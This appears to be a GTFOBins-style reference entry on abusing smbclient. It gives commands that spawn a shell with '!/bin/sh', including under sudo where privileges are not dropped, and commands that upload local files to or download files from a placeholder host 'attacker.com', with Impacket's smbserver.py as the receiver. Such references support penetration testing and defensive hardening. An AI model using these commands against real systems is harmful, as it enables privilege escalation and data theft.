.. / smbclient

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• Shell
• Upload
• Download

Shell

This executable can spawn an interactive system shell.

• Comment

  A valid SMB/CIFS server must be available.

  Unprivileged

  This function can be performed by any unprivileged user.

  smbclient '\\host\share'
  !/bin/sh

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  smbclient '\\host\share'
  !/bin/sh

Upload

This executable can upload local data.

• Unprivileged

  This function can be performed by any unprivileged user.

  smbclient '\\attacker.com\share' -c 'put /path/to/input-file /path/to/output-file'

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  smbclient '\\attacker.com\share' -c 'put /path/to/input-file /path/to/output-file'

  Receiver

  A SMB/CIFS server can be used on the attacker box to receive the data (e.g, using Impacket).

  smbserver.py -smb2support share .

Download

This executable can download remote data.

• Unprivileged

  This function can be performed by any unprivileged user.

  smbclient '\\attacker.com\share' -c 'get /path/to/input-file /path/to/output-file'

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  smbclient '\\attacker.com\share' -c 'get /path/to/input-file /path/to/output-file'

  Sender

  A SMB/CIFS server can be used on the attacker box to receive the data (e.g, using Impacket).

  smbserver.py -smb2support share .

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